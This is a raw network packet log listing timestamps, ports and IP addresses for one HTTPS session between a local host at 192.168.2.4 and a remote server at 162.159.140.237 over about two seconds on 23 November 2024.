Nov 23, 2024 00:58:09.735475063 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.735523939 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.735554934 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.735564947 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.735578060 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.735629082 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.740704060 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.740746975 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.740803957 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.740812063 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.740859032 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.746743917 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.746788025 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.746814013 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.746820927 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.746845961 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.746855021 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.752249956 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.752294064 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.752378941 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.752397060 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.752417088 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.752430916 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.758168936 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.758213997 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.758275032 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.758291006 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.758363962 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.920017958 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.920080900 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.920118093 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.920137882 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.920165062 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.920181036 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.925559044 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.925609112 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.925643921 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.925649881 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.925683022 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.925712109 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.931276083 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.931345940 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.931375980 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.931381941 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.931468964 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.936539888 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.936584949 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.936640978 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.936646938 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.936712027 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.940793991 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.940843105 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.940907955 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.940913916 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.940964937 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.946769953 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.946811914 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.946835995 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.946842909 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.946867943 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.952374935 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.952416897 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.952502966 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.952511072 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.952569962 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.958321095 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.958363056 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.958439112 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.958445072 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.958503008 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.969651937 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.969697952 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.969759941 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:09.969767094 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:09.969867945 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.125643015 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.125705004 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.125747919 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.125762939 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.125812054 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.131499052 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.131541967 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.131616116 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.131623030 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.131690025 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.136703014 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.136746883 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.136781931 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.136787891 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.136826038 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.137236118 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.142669916 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.142713070 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.142745972 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.142751932 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.142780066 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.142800093 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.148541927 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.148586988 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.148643017 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.148648977 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.148742914 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.154158115 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.154202938 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.154236078 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.154242039 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.154266119 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.154266119 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.160152912 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.160209894 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.160237074 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.160242081 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.160255909 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.160283089 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.170559883 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.170604944 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.170641899 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.170648098 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.170674086 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.170692921 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.327147007 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.327214003 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.327229023 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.327249050 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.327265978 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.327280998 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.333018064 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.333062887 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.333117962 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.333125114 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.333210945 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.337322950 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.337363958 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.337393045 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.337398052 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.337412119 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.342518091 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.342562914 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.342593908 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.342600107 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.342622995 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.344099045 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.344202995 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.344208956 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.344281912 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.350049019 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.350075960 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.350106955 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.350112915 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.350127935 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.350147963 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.355628014 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.355650902 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.355681896 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.355689049 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.355701923 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.355724096 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.361627102 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.361664057 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.361689091 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.361695051 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.361716032 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.361731052 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.370956898 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.371011972 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.371057034 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.371062994 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.371078014 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.372575045 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.372642994 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.372648954 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.372697115 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.526848078 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.526901960 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.527009010 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.527021885 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.527126074 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.532665968 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.532708883 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.532754898 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.532762051 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.532777071 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.537878036 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.537933111 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.537981987 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.537988901 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.538023949 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.543859959 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.543901920 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.543929100 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.543936014 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.543961048 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.545422077 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.545480967 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.545486927 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.545531034 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.549726963 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.549771070 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.549798012 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.549803972 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.549819946 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.555439949 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.555483103 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.555510998 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.555517912 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.555550098 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.559691906 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.559730053 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.559755087 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.559763908 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.559776068 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.559801102 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.565541983 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.565593004 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.565623999 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.565629005 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.565659046 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.565680027 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.572047949 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.572146893 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.573542118 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.573602915 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.729875088 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.729927063 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.730093956 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.730093956 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.730110884 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.730165958 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.735656977 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.735702038 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.735742092 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.735748053 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.735788107 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.735805988 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.738343954 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.738431931 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.738439083 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.744262934 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.744306087 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.744333029 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.744343042 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.744371891 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.745194912 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.745249987 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.745258093 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.745306015 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.746848106 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.746906996 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.752820015 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.752862930 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.752907038 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.752919912 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.752947092 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.758430004 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.758483887 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.758514881 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.758524895 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.758558035 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.764472961 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.764517069 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.764544964 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.764553070 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.764583111 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.775240898 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.775288105 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.775305986 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.775320053 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.775337934 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.775362015 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.931170940 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.931226015 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.931309938 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.931332111 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.931435108 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.936933994 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.936980009 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.937011003 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.937016964 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.937032938 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.937052011 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.942914963 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.942960024 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.943030119 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.943036079 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.943130016 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.948160887 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.948204994 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.948268890 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.948276043 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.948334932 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.948390007 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.954072952 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.954114914 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.954144955 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.954150915 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.954174042 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.954184055 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.959722042 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.959765911 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.959788084 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.959794044 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.959815979 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.959832907 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.965665102 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.965706110 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.965738058 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.965744019 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.965773106 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.965797901 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.976505995 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.976591110 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:10.976628065 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:10.976687908 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.132512093 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.132572889 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.132642984 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.132663012 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.132693052 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.132710934 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.138458014 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.138499975 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.138534069 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.138540030 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.138556004 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.138583899 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.143796921 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.143860102 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.143903017 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.143910885 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.143944979 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.143966913 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.149636984 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.149683952 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.149710894 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.149718046 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.149745941 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.149769068 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.155519962 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.155565977 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.155601978 CET	49730	443	192.168.2.4	162.159.140.237
